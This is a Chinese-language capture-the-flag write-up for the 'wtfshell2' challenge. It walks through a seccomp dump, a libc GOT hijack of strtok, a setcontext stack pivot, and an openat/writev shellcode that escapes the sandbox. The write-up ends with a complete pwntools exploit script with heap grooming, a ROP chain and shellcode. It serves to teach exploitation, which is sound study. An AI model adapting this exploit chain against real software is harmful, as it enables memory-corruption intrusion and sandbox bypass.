0%

libc GOT劫持+沙盒逃逸

wtfshell2 复现

这个挑战有两个 flag:

  • 1.第一个 flag 隐藏在虚拟文件系统(又名内存)内的“flag1”文件中,甚至无法被虚拟根目录读取,您的目标是 pwn 库并实现 RAA
  • 2.第二个 flag 位于虚拟文件系统之外,这意味着您必须实现任意代码执行(实际上是 ORW,由于seccomp)才能获得 flag
1
GNU C Library (Ubuntu GLIBC 2.36-0ubuntu3) stable release version 2.36.\n
1
2
3
4
5
6
7
8
wtfshell: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=14b74f98df26b1325153b74f6d77440e0b761024, for GNU/Linux 3.2.0, stripped
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[*] '/home/yhellow/\xe6\xa1\x8c\xe9\x9d\xa2/wtfshell/share/wtfshell'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
➜  share seccomp-tools dump ./wtfshell  
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x00 0x04 0x00000000 if (A != read) goto 0006
0002: 0x20 0x00 0x00 0x00000010 A = fd # read(fd, buf, count)
0003: 0x15 0x00 0x01 0x00000000 if (A != 0x0) goto 0005
0004: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0005: 0x06 0x00 0x00 0x00000000 return KILL
0006: 0x20 0x00 0x00 0x00000000 A = sys_number
0007: 0x15 0x00 0x01 0x00000003 if (A != close) goto 0009
0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0009: 0x20 0x00 0x00 0x00000000 A = sys_number
0010: 0x15 0x00 0x06 0x00000009 if (A != mmap) goto 0017
0011: 0x20 0x00 0x00 0x00000020 A = prot # mmap(addr, len, prot, flags, fd, pgoff)
0012: 0x15 0x03 0x00 0x00000007 if (A == 0x7) goto 0016
0013: 0x20 0x00 0x00 0x00000030 A = fd # mmap(addr, len, prot, flags, fd, pgoff)
0014: 0x15 0x00 0x01 0xffffffff if (A != 0xffffffff) goto 0016
0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0016: 0x06 0x00 0x00 0x00000000 return KILL
0017: 0x20 0x00 0x00 0x00000000 A = sys_number
0018: 0x15 0x00 0x01 0x0000000b if (A != munmap) goto 0020
0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0020: 0x20 0x00 0x00 0x00000000 A = sys_number
0021: 0x15 0x00 0x01 0x0000000c if (A != brk) goto 0023
0022: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0023: 0x20 0x00 0x00 0x00000000 A = sys_number
0024: 0x15 0x00 0x01 0x00000027 if (A != getpid) goto 0026
0025: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0026: 0x20 0x00 0x00 0x00000000 A = sys_number
0027: 0x15 0x00 0x01 0x00000066 if (A != getuid) goto 0029
0028: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0029: 0x20 0x00 0x00 0x00000000 A = sys_number
0030: 0x15 0x00 0x01 0x00000068 if (A != getgid) goto 0032
0031: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0032: 0x20 0x00 0x00 0x00000000 A = sys_number
0033: 0x15 0x00 0x04 0x00000014 if (A != writev) goto 0038
0034: 0x20 0x00 0x00 0x00000010 A = fd # writev(fd, vec, vlen)
0035: 0x15 0x00 0x01 0x00000001 if (A != 0x1) goto 0037
0036: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0037: 0x06 0x00 0x00 0x00000000 return KILL
0038: 0x20 0x00 0x00 0x00000000 A = sys_number
0039: 0x15 0x00 0x05 0x0000003c if (A != exit) goto 0045
0040: 0x20 0x00 0x00 0x00000010 A = error_code # exit(error_code)
0041: 0x15 0x01 0x00 0x00000000 if (A == 0x0) goto 0043
0042: 0x15 0x00 0x01 0x00000001 if (A != 0x1) goto 0044
0043: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0044: 0x06 0x00 0x00 0x00000000 return KILL
0045: 0x20 0x00 0x00 0x00000000 A = sys_number
0046: 0x15 0x00 0x05 0x000000e7 if (A != exit_group) goto 0052
0047: 0x20 0x00 0x00 0x00000010 A = error_code # exit_group(error_code)
0048: 0x15 0x01 0x00 0x00000000 if (A == 0x0) goto 0050
0049: 0x15 0x00 0x01 0x00000001 if (A != 0x1) goto 0051
0050: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0051: 0x06 0x00 0x00 0x00000000 return KILL
0052: 0x20 0x00 0x00 0x00000000 A = sys_number
0053: 0x15 0x00 0x03 0x00000127 if (A != preadv) goto 0057
0054: 0x20 0x00 0x00 0x00000010 A = fd # preadv(fd, vec, vlen, pos_l, pos_h)
0055: 0x25 0x00 0x01 0x00000002 if (A <= 0x2) goto 0057
0056: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0057: 0x06 0x00 0x00 0x00000000 return KILL
  • 白名单,但是没有 open
  • read 的 FD 必须为“0”
  • mmap 的权限设置不能为“7”,FD 必须设置为“-1”

入侵思路

首先利用 wtfshell1 的思路完成 libc 泄露和 WAA

然后就需要劫持程序的执行流了,这里我最开始的想法是打 IO,但伪造 _IO_FILE 的过程很痛苦,之后看别人博客才想起可以劫持 libc GOT

  • 可以先用 IDA 分析出 libc 的 GOT 偏移地址
  • 然后在 GDB 中进行调试

对于选择的 libc GOT 是有条件的,它必须以某个存放数据的 chunk 为参数,方便我们把 ROP 链的地址放入 RDX 寄存器里(使用 setcontext+61

1
2
read_max(gbuff, GBSIZE);
char *token = strtok(gbuff, delim);

于是我们选择 strtok 的 libc GOT 为目标,选择它有两个原因:

  • 以存放数据的 gbuff 为参数
  • 如果不修改它的话,它会破坏我们输入的 ROP 链
1
.got.plt:00000000001F6040 D0 80 0A 00 00 00 00 00       off_1F6040 dq offset strspn             ; DATA XREF: j_strspn+4↑r

我们断点到程序执行 strtok 时,看看此时寄存器的数据:

1
2
3
4
5
6
7
0x55e7138db779    call   strtok@plt                <strtok@plt>
s: 0x55e7143e1d00 ◂— 0x96dba0002e667477 /* 'wtf.' */
delim: 0x55e7138dc028 ◂— 0x213f2c2e /* '.,?!' */
-----------------------------------------------------------------
*RDX 0x3b
*RDI 0x55e7143e1d00 ◂— 0x96dba0002e667477 /* 'wtf.' */
*RSI 0x55e7138dc028 ◂— 0x213f2c2e /* '.,?!' */
  • 我们需要一个 gadget 来把 RDI 的堆地址转移到 RDX 中,并且可以继续控制执行流
1
0x000000000008c225: mov rdx, qword ptr [rdi + 8]; mov rax, qword ptr [rdi]; mov rdi, rdx; jmp rax; 
  • 这个 gadget 是从别人的 exp 上拿的,我自己习惯于找 mov rdxcall qword ptr [rdx + n] (没有找到)

然后就要思考如何绕过 sandbox 了:

  • 没有 open 并且要求 read 的“FD”为“0”,这里如果用 ORW 链就很难完成,但是用 shellcode 就简单多了
  • 不过程序 ban 了 mprocess,我们的 shellcode 没有权限

后来发现 mmapprot 如果为“6”的话,申请出来的空间是有权限的,为此我还查了一下 kernel 源码:

1
2
3
#define PROT_READ	0x01
#define PROT_WRITE 0x02
#define PROT_EXEC 0x04
  • PS:Linux shell 的权限安排刚好是反过来的,坑了我一手

于是接下来操作就比较套路了:

  • 利用 setcontext+61 完成栈迁移并执行一次 read
  • 在合适的地方写上一个 ORW,并执行 mmap 和另一个 read,并控制执行流到 mmap 出来的地址
  • 在这个地址上写入 shellcode

编写 shellcode:

  • 找到 open 的替代品:preadv-295openat-295),不过第一个参数必须大于“2”
1
int openat(int  dirfd , const char * pathname , int  flags , ... );
  • 如果 pathname 是绝对路径,则 dirfd 参数没用,不会受到沙盒的影响
  • 找到 write 的替代品:writev,不过第一个参数必须为“1”,并且需要传入一个结构体(需要完成对应的伪造)
1
2
3
4
5
6
ssize_t writev(int filedes, const struct iovec *iov, int iovcnt);
----------------------------------------------------------------------
struct iovec{
void *iov_base; //starting address of buffer
size_t iov_len; //size of buffer
}
1
2
3
4
5
6
7
0x100062    syscall  <SYS_writev>
fd: 0x1 (/dev/pts/1)
iovec: 0x55ba73ee5488 —▸ 0x55ba73ee5498 ◂— 0x3f7b6e6f63746968 ('hitcon{?')
count: 0x1
----------------------------------------------------------------------
00:0000│ rsi rsp 0x55ba73ee5488 —▸ 0x55ba73ee5498 ◂— 0x3f7b6e6f63746968 ('hitcon{?')
01:00080x55ba73ee5490 ◂— 0x100

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
#challenge = './wtfshell_debug'
challenge = './wtfshell1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc.so.6')

key = "set debug-file-directory ./.debug/\n"

local = 1
if local:
#p = gdb.debug(challenge,key)
p = process(challenge)
else:
p = remote('172.51.221.20','9999')

def cmd(op):
p.sendlineafter("√",op)

def qq():
cmd("qq")

def lol():
cmd("lol.-l")

def rip(filename,data):
cmd("rip."+filename) # filename == NULL => stdout
p.sendline(data)

def newfile(filename,flag):
cmd("nsfw."+filename+"."+str(flag))

"""
* --: 0 (non-readable & non-writable)
* -w: 1 (write only)
* r-: 2 (read only)
* rw: 3 (readable & writable)
"""

def writefile(filename,data):
cmd("wtf."+data+"."+filename)

def showfile(filename):
cmd("omfg."+filename)

def delfile(filename):
cmd("gtfo."+filename)

def deluser():
cmd("ouo")

def newuser(username):
cmd("stfu."+username)

def newpassword(username,password):
cmd("asap."+username) # NULL == root
p.sendlineafter("password:",password)
p.sendlineafter("retype password:",password)

def changeuser(username):
cmd("sus."+username) # NULL == root

def shit():
cmd("shit")

def reboot():
cmd("irl")

def leakheap(username,password):
heap_addr = "\x80"
try_addr = ''

for i in range(6):
for j in range(0xff):
if(j==0xa):
continue
#success("heap_addr >> " + hex(u64(heap_addr.ljust(0x8,'\0'))))
try_addr = heap_addr + chr(j)
cmd("asap."+username)
p.sendlineafter("password:",password)
p.sendlineafter("retype password:",password+try_addr)
ret = p.recvuntil("\n",timeout=0.1)
if b"asap: " not in ret:
heap_addr += chr(j)
p.sendline('\x00')
break
else:
continue
return heap_addr

def write_reverse(filename,payload):
whole_size = len(payload)+1
no_null_payload = payload.replace('\x00','a')
for i in range(len(payload)-0x10):
if no_null_payload[whole_size-i-2:whole_size-i-1] == 'a':
writefile(filename,no_null_payload[0:whole_size-i-2])
else:
continue

newuser("yhellow")
newuser("yhellow2")

heap_addr = u64(leakheap("yhellow2","b"*0x40).ljust(0x8,'\0'))
heap_base = heap_addr - 0x880
success("heap_base >> "+hex(heap_base))

presize = 0xd10
payload = p16(presize) + "/"*6

newfile("1",3)
writefile("1","b"*0x300)
rip("1","a"*0x100)
rip("1",payload+"b"*0xf8)
rip("1","c"*0x100)
rip("1","d"*0x100)
rip("1","e"*0x100)
rip("1","f"*0x100)
rip("1","g"*0x100)
rip("1","h"*0x100)
rip("1","i"*0x100)
rip("1","g"*0x100)

newfile("2",3)
newfile("3",3)
rip("1","b"*0x100)
writefile("2","c"*(0x400-6))
writefile("3","d"*0x310)

newfile("4"*0x3f8,3)
newfile("5"*0x3f8,3)
newfile("6"*0x3f8,3)
newfile("7"*0x3f8,3)
newfile("8"*0x3f8,3)
newfile("9"*0x3f8,3)
delfile("4"*0x3f8)
delfile("5"*0x3f8)
delfile("6"*0x3f8)
delfile("7"*0x3f8)
delfile("8"*0x3f8)
delfile("9"*0x3f8)

fakechunk_addr = heap_base + 0x3f0
rip("2","e"*0x100)
reboot()

newfile("1",3)
writefile("1","f"*0x310)
rip("1","e"*0x100)

newfile("4",3)
payload = "p"*0x60
payload += p64(0) + p64(presize+1)
payload += p64(fakechunk_addr+0x18) + p64(fakechunk_addr+0x20)
payload += p64(fakechunk_addr+0x10) + p64(fakechunk_addr+0x18)
payload += p64(fakechunk_addr) + p64(fakechunk_addr)
write_reverse("4",payload)

newfile("2",3)
writefile("2","k"*0x310)
payload = "rip."+"a"*(0x400-4)
cmd(payload)

newfile("3"*0x2f0,3)
newfile("4"*0x2f0,3)
newfile("5"*0x2f0,3)
newfile("6"*0x2f0,3)
newfile("7"*0x2f0,3)
newfile("8"*0x2f0,3)
newfile("9"*0x2f0,3)
delfile("3"*0x2f0)
delfile("4"*0x2f0)
delfile("5"*0x2f0)
delfile("6"*0x2f0)
delfile("7"*0x2f0)
delfile("8"*0x2f0)
delfile("9"*0x2f0)

payload = "a"*0x2f0 + p64(0) + p64(0x41)
write_reverse("2",payload)

delfile("2")
newfile("5"*0x30,3)
newfile("6"*0x30,3)
delfile("1")
newfile("7"*0x30,3)
writefile("5"*0x30,"5"*0x360)

libc_addr = heap_base + 0x760
name_addr = heap_base + 0x26c0
payload = "x"*0x338
payload += p64(0x31)+p64(name_addr)+ p64(libc_addr)

write_reverse("7"*0x30,payload)
showfile("6"*0x30)

leak_addr = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
libc_base = leak_addr - 0x1f6cc0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

strtok_libc_got = 0x0000000001F6040 + libc_base
success("strtok_libc_got >> "+hex(strtok_libc_got))

payload = "x"*0x338
payload += p64(0x31)+p64(name_addr)+ p64(strtok_libc_got)
write_reverse("7"*0x30,payload)

setcontext_libc = libc_base + libc.sym['setcontext']
mmap_libc = libc_base + libc.sym['mmap']
read_libc = libc_base + libc.sym['read']
success("setcontext_libc+61 >> "+hex(setcontext_libc+61))
success("read_libc >> "+hex(read_libc))


magic_gadget = libc_base + 0x000000000008c225 # mov rdx, qword ptr [rdi + 8]; mov rax, qword ptr [rdi]; mov rdi, rdx; jmp rax;
writefile("6"*0x30,p64(magic_gadget)[0:6])

pop_rax_ret = libc_base + 0x000000000003f8e3
pop_rbx_ret = libc_base + 0x000000000002f1d1
pop_rcx_ret = libc_base + 0x00000000000e236e
pop_rdi_ret = libc_base + 0x0000000000023b65
pop_rsi_ret = libc_base + 0x00000000000251be
pop_rdx_ret = libc_base + 0x0000000000165f32
pop_r8_ret = libc_base + 0x000000000008c27e

ROP_addr = heap_base + 0x400
frame_addr = heap_base + 0xd00 + 0x10

frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = ROP_addr
frame.rdx = 0x200
frame.rsp = ROP_addr
frame.rip = read_libc

payload = p64(setcontext_libc+61) + p64(frame_addr) + bytes(frame)
#pause()
cmd(payload)

rop = p64(pop_rdi_ret) + p64(0x100000)
rop += p64(pop_rsi_ret) + p64(0x1000)
rop += p64(pop_rdx_ret) + p64(6)
rop += p64(pop_rcx_ret) + p64(0x22)
rop += p64(pop_r8_ret) + p64(0xffffffff)
rop += p64(mmap_libc)
rop += p64(pop_rdi_ret) + p64(0)
rop += p64(pop_rsi_ret) + p64(0x100000)
rop += p64(pop_rdx_ret) + p64(0x200)
rop += p64(read_libc)
rop += p64(0x100008)

sleep(0.1)
p.send(rop)

shellcode = asm("""
xor rdi, rdi;
mov rax, 3;
syscall;

mov rbx, 3;
mov rcx, 0x100000;
xor rdx, rdx;
mov rax, 0x127;
int 0x80;

xor rdi, rdi;
push rsp;
pop rcx;
mov rbx, rcx;
mov rsi, rcx;
mov rdx, 0x100;
xor rax, rax;
syscall;

mov rdi, 1;
push 0x100;
push rbx;
push rsp;
pop rsi;
mov rdx, 1;
mov rax, 20;
syscall;
""")

#pause()
sleep(0.1)
p.send('/flag2\x00\x00' + shellcode)

p.interactive()

小结:

学到一些细节上的知识,也尝试了一下 libc GOT 劫持